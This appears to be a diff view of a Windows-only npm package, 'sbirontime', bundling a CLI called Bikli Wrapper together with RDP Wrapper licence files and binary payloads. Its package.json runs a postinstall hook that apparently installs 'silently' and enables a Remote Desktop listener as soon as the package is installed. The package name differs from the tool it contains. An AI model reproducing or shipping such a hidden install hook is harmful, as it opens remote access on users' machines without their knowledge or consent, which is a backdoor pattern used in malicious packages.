for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
|
|
487
|
+
if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');
|
|
488
|
+
}
|
|
489
|
+
|
|
490
|
+
function showHelp() {
|
|
491
|
+
console.log([
|
|
492
|
+
'Bikli Wrapper CLI',
|
|
493
|
+
'',
|
|
494
|
+
'Commands:',
|
|
495
|
+
' bikliwrapper install Install/update silently, apply defaults, and verify',
|
|
496
|
+
' bikliwrapper status Show installation, support, service, and listener status',
|
|
497
|
+
' bikliwrapper defaults Reapply the requested defaults and restart if needed',
|
|
498
|
+
' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
|
|
499
|
+
' bikliwrapper self-test Validate the npm package payload without changing Windows',
|
|
500
|
+
'',
|
|
501
|
+
'Run install/defaults from an Administrator terminal.'
|
|
502
|
+
].join(os.EOL));
|
|
503
|
+
}
|
|
504
|
+
|
|
505
|
+
function main() {
|
|
506
|
+
const command = (process.argv[2] || 'status').toLowerCase();
|
|
507
|
+
if (command === 'install' || command === 'defaults' || command === 'enable') return install();
|
|
508
|
+
if (command === 'disable') return disable();
|
|
509
|
+
if (command === 'status') {
|
|
510
|
+
requireWindows();
|
|
511
|
+
const status = collectStatus();
|
|
512
|
+
printStatus(status);
|
|
513
|
+
process.exitCode = status.wrapperInstalled && status.fullySupported && status.serviceRunning &&
|
|
514
|
+
status.listenerListening && status.defaultsApplied ? 0 : 2;
|
|
515
|
+
return;
|
|
516
|
+
}
|
|
517
|
+
if (command === 'self-test') return selfTest();
|
|
518
|
+
if (command === 'elevation-self-test') return elevateAndRun('self-test');
|
|
519
|
+
if (command === 'help' || command === '--help' || command === '-h') return showHelp();
|
|
520
|
+
fail(`Unknown command: ${command}`);
|
|
521
|
+
}
|
|
522
|
+
|
|
523
|
+
try {
|
|
524
|
+
main();
|
|
525
|
+
} catch (error) {
|
|
526
|
+
console.error(`Bikli Wrapper error: ${error.message}`);
|
|
527
|
+
process.exitCode = error.exitCode || 1;
|
|
528
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "sbirontime",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
|
|
5
|
+
"license": "BSD-3-Clause",
|
|
6
|
+
"publishConfig": {
|
|
7
|
+
"access": "public"
|
|
8
|
+
},
|
|
9
|
+
"os": [
|
|
10
|
+
"win32"
|
|
11
|
+
],
|
|
12
|
+
"bin": {
|
|
13
|
+
"biklitool": "bin/biklimaster.js",
|
|
14
|
+
"biklimaster": "bin/biklimaster.js",
|
|
15
|
+
"bikliwrapper": "lib/bikliwrapper.js"
|
|
16
|
+
},
|
|
17
|
+
"files": [
|
|
18
|
+
"bin",
|
|
19
|
+
"lib",
|
|
20
|
+
"payload",
|
|
21
|
+
"config.json",
|
|
22
|
+
"README.md",
|
|
23
|
+
"LICENSE-BIKLI",
|
|
24
|
+
"LICENSE-RDPWRAPPER"
|
|
25
|
+
],
|
|
26
|
+
"scripts": {
|
|
27
|
+
"postinstall": "node bin/biklimaster.js install --postinstall",
|
|
28
|
+
"test": "node bin/biklimaster.js self-test"
|
|
29
|
+
},
|
|
30
|
+
"engines": {
|
|
31
|
+
"node": ">=18"
|
|
32
|
+
},
|
|
33
|
+
"keywords": [
|
|
34
|
+
"bikli",
|
|
35
|
+
"rdp",
|
|
36
|
+
"vpn",
|
|
37
|
+
"windows",
|
|
38
|
+
"installer"
|
|
39
|
+
]
|
|
40
|
+
}
|
|
Binary file
|
|
Binary file
|